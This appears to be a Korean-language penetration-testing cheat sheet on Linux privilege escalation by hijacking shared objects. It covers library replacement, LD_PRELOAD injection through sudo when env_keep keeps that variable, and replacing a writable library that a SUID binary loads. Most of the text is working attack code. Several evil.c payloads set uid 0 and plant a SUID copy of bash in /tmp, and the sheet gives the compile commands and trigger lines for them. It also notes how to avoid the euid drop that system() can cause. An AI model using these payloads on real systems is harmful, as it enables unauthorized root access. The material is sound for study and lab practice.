Shared Object (.so) Hijacking
enumeration
ldd /bin/lsevil.c:
#include <stdlib.h>
#include <unistd.h>
#include <sys/types.h>
void _init() {
setgid(0);
setuid(0);
system("cp /bin/bash /tmp/bash && chmod 4755 /tmp/bash");
}Compile:
gcc -shared -fPIC -nostartfiles evil.c -o evil.sobash에 SUID 설정 (system 미호출)
#include <sys/stat.h>
int main() { chmod("/bin/bash", 04755); return 0; }- system()을 호출하면,
/bin/sh -c를 호출하는데, 해당 쉘이 dash인 경우 문제없지만, bash를 호출하는경우 euid가 떨어질 수 있다. - chmod를 곧바로 호출하는것이 좀 더 확실한 exploit이 될 수 있다.
/bin/sh -> dash (Debian/Ubuntu 계열)
- euid 강등 없음
/bin/sh -> bash (CentOS/RHEL 계열)
- euid 강등 존재
- system()호출에서 euid(0) != ruid(1000)을 보고 euid를 1000으로 강등시킴Sudo 바이너리(LD_PRELOAD)
조건
1. 대상 바이너리가 sudo로 실행 가능할 것 (sudo -l)
2. 대상 바이너리가 Dynamic Linking을 사용할 것 (ldd, file 등으로 확인)
3. /etc/sudoers에 Defaults env_keep += LD_PRELOAD가 명시되어 있을 것.
kali@kali:~$ sudo -l
Matching Defaults entries for kali on kali:
env_reset, mail_badpass, secure_path=/usr/local/sbin\:.../snap/bin, env_keep+=LD_PRELOAD- 3번 조건이 중요함. 해당 설정이 없으면 동적 링킹 바이너리를 sudo로 실행하더라도 커스텀
.so를 주입할 수 없다. (sudo가LD_PRELOAD환경변수를 삭제하고 프로세스를 실행한다.) sudo가 아닌 단순SUID바이너리를 대상으로 후킹을 시도하는 경우,glibc레벨에서 보호 시스템이 동작하여 하이재킹이 실패함 (이 경우, 실제 호출하는 라이브러리에 쓰기 권한이 있는경우 여전히 하이재킹이 가능할 수 있음).glibc는 바이너리를 실행하는 사용자의eUID != UID인 경우,LD_PRELOAD를 무시한다.
evil.c:
#include <stdlib.h>
#include <unistd.h>
#include <sys/types.h>
void _init() {
unsetenv("LD_PRELOAD");
setuid(0);
setgid(0);
system("cp /bin/bash /tmp/bash && chmod 4755 /tmp/bash");
}컴파일:
gcc -shared -fPIC -nostartfiles evil.c -o evil.so트리거 예시:
sudo LD_PRELOAD=/tmp/malicious.so /usr/bin/targetSUID 바이너리
- SUID가 설정된 바이너리의 동적링킹 함수 하이재킹
SUID 바이너리 링킹 확인:
ldd vulnerable_binary
linux-vdso.so.1 (0x00007ffe7dfbf000)
libshared.so => /development/libshared.so (0x00007f06669b8000)/development/libshared.so에 수정권한이 있는경우, 하이재킹 가능
오류 메시지를 통해 호출 함수명 확인 (혹은 strings로 확인):
$cp /lib/x86_64-linux-gnu/libc.so.6 /development/libshared.so
$./vulnerable_binary
<SNIP> ... undefined symbol: dbqueryevil.c:
#include <stdlib.h>
#include <unistd.h>
#include <sys/types.h>
void dbquery() {
setuid(0);
setgid(0);
system("cp /bin/bash /tmp/bash && chmod 4755 /tmp/bash");
}- 함수명 일치해야 함
컴파일:
gcc evil.c -fPIC -shared -o evil.so